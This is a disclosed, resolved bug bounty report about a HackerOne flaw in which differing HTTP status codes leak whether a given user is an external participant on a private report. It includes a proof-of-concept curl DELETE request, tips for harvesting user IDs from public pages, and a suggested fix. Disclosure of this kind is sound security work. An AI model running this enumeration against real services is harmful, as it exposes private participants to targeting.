Disclosure of external users invited to a specific report

Disclosed: 2016-09-01 07:21:43 By kirils To security
Unknown
Vulnerability Details
It is possible to verify whether a specific user is invited to participate _as an external user_ to a specific report. Thus it is possible to enumerate all external users added to a specific (non-public) report of interest. **PoC:** ```curl 'https://hackerone.com/reports/(**report_id**)/external_users/(**user_id**)' -X DELETE -H 'User-Agent: Mozilla/5.0' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'X-CSRF-Token: (**session**)' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: (**session**)' -D-``` ```session``` parameters must be copied from a recent request in legitimate user's session. Different HTTP status codes will be returned depending on whether the user is participating as an external user for a specific report: - HTTP/1.1 404 Not Found => **yes** - HTTP/1.1 500 Internal Server Error => **no** - (HTTP/1.1 412 Precondition Failed means you provided invalid session parameters) ```user_id``` can either be enumerated from 1000 up, or for a more realistic scenario, user ID can be gathered from https://hackerone.com/leaderboard/all-time or https://hackerone.com/hacktivity/new. ID of a specific username can of course be pulled by any visitor even without authentication: ```curl 'https://hackerone.com/(**username**)' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'X-Requested-With: XMLHttpRequest'``` **Impact:** This vulnerability may prove critical for non-resolved reports. This basically provides an attacker a list of researchers who know about an existing 0day and are not getting paid. Unfortunately more and more of the researchers on h1 are proving to be greedy (see #154096 et al.) or at least "in-for-the-money". These people could easily succumb to a black market offer from the attacker and you've just given him the list of researchers to contact. **Suggested fix:** Check access rights to the report_id first and make sure to return the same status code and content in both cases. For extra measure make sure to drop out of execution flow at a single location to curb timing side channel attacks.
Actions
View on HackerOne
Report Stats
  • Report ID: 157699
  • State: Closed
  • Substate: resolved
  • Upvotes: 9
Share this report